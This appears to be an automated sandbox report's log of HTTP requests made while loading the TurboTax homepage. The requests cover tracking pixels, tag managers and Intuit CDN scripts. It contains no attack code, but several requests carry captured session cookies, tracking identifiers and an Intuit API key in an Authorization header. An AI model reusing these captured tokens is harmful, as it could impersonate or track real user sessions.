Source: global traffic	HTTP traffic detected: GET /1000.gif?memo=CKyqFhIxCi0IARCYEhomNjg3NDE4MDg3NDU5MzcxNDQ2NzExMzQwMzI1NTIxODg3Mjc5NTkQABoNCP6b2bUGEgUI6AcQAEIASgA HTTP/1.1Host: idsync.rlcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://turbotax.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: rlas3=NgnymzYrnw38vMe7syGHLXa0x0ZSk3zrll2ma5itKG8=; pxrc=CAA=
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=E8529F095278574FFC09C0DFC1D82340 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://turbotax.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959; dextp=477-1-1723223548904\|57282-1-1723223549013
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=47b071dd887ca0a465f9a4484fa5daa8dc83094871ce092938a934cbf870d84bb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://turbotax.demdex.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959; dextp=477-1-1723223548904\|57282-1-1723223549013
Source: global traffic	HTTP traffic detected: GET /utag/intuit/cg-turbotax/prod/utag.js HTTP/1.1Host: tags.tiqcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=57282&dpuuid=E8529F095278574FFC09C0DFC1D82340 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959; dextp=477-1-1723223548904\|57282-1-1723223549013; dpm=68741808745937144671134032552188727959
Source: global traffic	HTTP traffic detected: GET /ibs:dpid=477&dpuuid=47b071dd887ca0a465f9a4484fa5daa8dc83094871ce092938a934cbf870d84bb0da87c991749652 HTTP/1.1Host: dpm.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959; dextp=477-1-1723223548904\|57282-1-1723223549013; dpm=68741808745937144671134032552188727959
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/ajs-destination.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/schemaFilter.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/ajs-destination.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /preload?preloadAppURL=iux-authn.app.intuit.com/app/identity-authn-core-ui/sign-in&custom_manifest=signin-signup&client=none HTTP/1.1Host: appfabric-preload.app.intuit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; s_ecid=MCMID%7C68569137705076607901148907403368398402; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230748s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.3.0
Source: global traffic	HTTP traffic detected: GET /analytics/202309142221/schemaFilter.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /polyfill/polyfill.min.js?features=default,Number.isInteger,Number.isNaN,String.prototype.repeat,String.prototype.endsWith,String.prototype.includes,Symbol,Symbol.iterator,String.prototype.startsWith,Array.prototype.find,Promise,Promise.prototype.finally,Object.assign,Object.keys,Object.values,Array.prototype.includes,Array.prototype.findIndex,Map,fetch,Set,Array.prototype.flat,Array.prototype.flatMap&flags=gated HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /requirejs/2.3.7/require.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /react/17.0.2/react.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /react-dom/17.0.2/react-dom.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@design-systems/theme/4.0.3/dist/appfabric/theme.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@ids/context/21.9.0/ids.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /v1/?ivid=49283062-d309-414a-8948-62720df8cfad HTTP/1.1Host: intuitvisitorid.api.intuit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Accept: application/jsonsec-ch-ua-mobile: ?0Authorization: Intuit_APIKey intuit_apikey=prdakyreswUFDpkOPDkky63TSWvxZbtemfYVms81, intuit_apikey_version=1.0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Origin: https://turbotax.intuit.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ivid=49283062-d309-414a-8948-62720df8cfad; interests_l2=""; priorityCode=3468337910; AKES_GEO=US~NJ; _abck=4F2FA7CC61A129ADEFBBDAAD182D3879~-1~YAAQIShDF0zcACKRAQAAiXQgOAynvBOptWzwN7Wn4mu+nAPpoNEJutvQbxGvV1Q5xHn+0l1a/ecTyNCShtFkuAisxOjEun16gdOWijiQf/SA7MFBujldy2ubl0SFg/ITMHf3o7ziQ7tlLl9FHtNar1QSoavHBxK7NJtQBVy84kPLV+pJH9DKhGE8R+gB8AkX2+W9o1QY5stlHFCW2Uhgn77odYaH2MPx0sYrVv6mnY7aeobPfW6iAvWaakCyZAxEVbCbflVSHtRc1Fqn+HF+GryhpuX1aK2vtN18RwtSjDfkQfUoGiJUQkG4xv6PAOx5OWm7yNB3Rd/EB8aNmtjok9XvQ3wKGwzB5xcbiCPMXvNublNJrh1nMAe4eIk=~-1~-1~-1; bm_sz=5D11FB93F6C0E749F560E18E0910CD49~YAAQIShDF03cACKRAQAAiXQgOBhUUP6I20WZeEqlF1daTuzdVZvXF5OCLF+4pjt1PcBKf/WUgAJtJst++TVpPU4Bb+FpKEntag2O7KxGJz1IMLcP1BE+leDneEVo59D1A6XAKZRSb1neTl/fDxd2COK7bfcsj775qtFN+7vStw/kxT4ZtsguB2AYKRIjJhm83WH4JPnfi/Ya88PF1+39CamRo2IlNPsq8cOBtXI2KV0Ha2siCWxKAFazR7IlF2/foQe48dNYu/gDjUfEmysI2Jm2cNjAC5fk6TbQmhXWc8hEgD8N2B8jRIUbra+3O4vJF9Usg3/RAlm9hdbFm57ooo+bqDaQvA0MOW/n3tR8KRaqBMkfMJ+gnYxCOPGNd/z8AheI~3748918~3491140; ccpa=1\|1; cpra=1\|1; AMCVS_969430F0543F253D0A4C98C6%40AdobeOrg=1; s_ecid=MCMID%7C68569137705076607901148907403368398402; AMCV_969430F0543F253D0A4C98C6%40AdobeOrg=-2121179033%7CMCIDTS%7C19945%7CMCMID%7C68569137705076607901148907403368398402%7CMCAAMLH-1723828346%7C6%7CMCAAMB-1723828346%7CRKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y%7CMCOPTOUT-1723230748s%7CNONE%7CMCAID%7CNONE%7CvVersion%7C5.3.0; pageProperties=$turbotax.intuit.com$homepage$turbotax.intuit.com$cg\|mktg\|turbotax\|homepage\|homepage$; ajs_anonymous_id=49283062-d309-414a-8948-62720df8cfad; OptanonConsent=isGpcEnabled=0&datestamp=Fri+Aug+09+2024+13%3A12%3A35+GMT-0400+(Eastern+Daylight+Time)&version=202404.1.0&browserGpcFlag=0&isIABGlobal=false&hosts=&landingPath=https%3A%2F%2Fturbotax.intuit.com%2F&groups=1%3A1%2C4%3A1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_cluster=irl1; kndctr_969430F0543F253D0A4C98C6_AdobeOrg_identity=CiY2ODU2OTEzNzcwNTA3NjYwNzkwMTE0ODkwNzQwMzM2ODM5ODQwMlIRCNaNg8GTMhgBKgRJUkwxMAPwAdaNg8GTMg==
Source: global traffic	HTTP traffic detected: GET /@appfabric/web-shell-core/9.70.3/PluginRegistryService.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prop-types/15.8.1/prop-types.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ee/v1/interact?configId=b625b9a6-1176-4a61-a288-ff044cbf9ab9&requestId=cdf0095d-16b6-40ff-90a8-607d1ba93875 HTTP/1.1Host: adobedc.demdex.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: demdex=68741808745937144671134032552188727959; dextp=477-1-1723223548904\|57282-1-1723223549013
Source: global traffic	HTTP traffic detected: GET /@appfabric/pubsub/3.1.2/pubsub.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/ui-profiler/3.3.2/ui-profiler.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /requirejs/2.3.7/require.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /react/17.0.2/react.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /polyfill/polyfill.min.js?features=default,Number.isInteger,Number.isNaN,String.prototype.repeat,String.prototype.endsWith,String.prototype.includes,Symbol,Symbol.iterator,String.prototype.startsWith,Array.prototype.find,Promise,Promise.prototype.finally,Object.assign,Object.keys,Object.values,Array.prototype.includes,Array.prototype.findIndex,Map,fetch,Set,Array.prototype.flat,Array.prototype.flatMap&flags=gated HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@ids/context/21.9.0/ids.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/intuit-analytics/0.0.14/intuit-analytics.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@design-systems/theme/4.0.3/dist/appfabric/theme.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/web-shell-core/9.70.3/BaseWidget.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://appfabric-preload.app.intuit.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://appfabric-preload.app.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /react-dom/17.0.2/react-dom.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@appfabric/web-shell-core/9.70.3/PluginRegistryService.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-exporter.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /prop-types/15.8.1/prop-types.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /@cloud-monitoring/1.21.1/vendors~o11y-rum-web-window-perf.min.js HTTP/1.1Host: uxfabric.intuitcdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://turbotax.intuit.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
